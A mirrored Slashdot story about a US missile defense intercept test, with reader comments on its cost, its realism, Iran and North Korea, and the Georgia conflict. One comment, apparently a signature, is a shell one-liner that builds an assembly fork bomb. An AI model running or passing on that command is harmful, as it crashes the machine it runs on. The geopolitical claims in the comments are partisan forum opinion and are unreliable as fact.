Slashdot Mirror
US Tests New Missile Defense
pumpkinpuss writes "The US military yesterday shot down a missile in a test simulating a long-range ballistic missile attack by a potential adversary such as North Korea or Iran. The target missile was launched from Kodiak Island, Alaska, at 3:04 PM Eastern time, tracked simultaneously by several ground and ship-based radars, and intercepted by a 'kill vehicle' 3,000 kilometers away over the Pacific 25 minutes later, according to the Missile Defense Agency. Lt. Gen. Patrick O'Reilly said, 'The kill vehicle was sent to a very accurate spot in space giving us great confidence.'"
Reader gilgsn points out the testing of a different "multiple kill vehicle" by Lockheed Martin, which was able to hover over the ground and track a target. Video of the test (WMV) is also available.
Iran can't yet hit the USA, but can hit Israel and europe. Also they aren't called ICBM for nothing. They can travel around the globe.
i thought once I was found, but it was only a dream.
They spent $120US Million on this test. Would you want to be the one who has to say it was a failure?
Also, from TFA:
"The key to our protection . . . is to be able to have all of these different sensors simultaneously tracking" and recognizing the same object, which they did for the first time in yesterday's test, he said. "The kill vehicle was sent to a very accurate spot in space," he said, adding that the result "does give us great confidence."
To me, reading between the lines there, that sounds like they sent the kill vehicle to a pre-determined spot and managed to get the target to be there at the same time.
This whole program has been a HUGE boondoggle since its inception. I hope the new administration has the cojones to finally rein these guys in and tell them to spend the money on something more useful, such as fixing up the hopsitals we send our troops to.
Once North Korea has ICBMs they will sell them to Iran and the like.
http://www.armscontrol.org/act/2007_01-02/IranNK
echo -e 'global _start\n _start:\n mov eax, 2\n int 80h\n jmp _start' > a.asm; nasm a.asm -f elf; ld a.o -o a;
Israel has their own system, called the Arrow. Works excellently.
Sic gorgiamus allos subjectatos nunc
Wake up, mate. Even the US DoD had eventually confirmed that it was Georgia that launched the all-out attack on South Ossetia, not the other way around. And yes, they did attack the Russian peacekeepers (under UN mandate!) in the process - a notable part of all Russian casualties in that war were peacekeepers in buildings that were deliberately shelled without warning.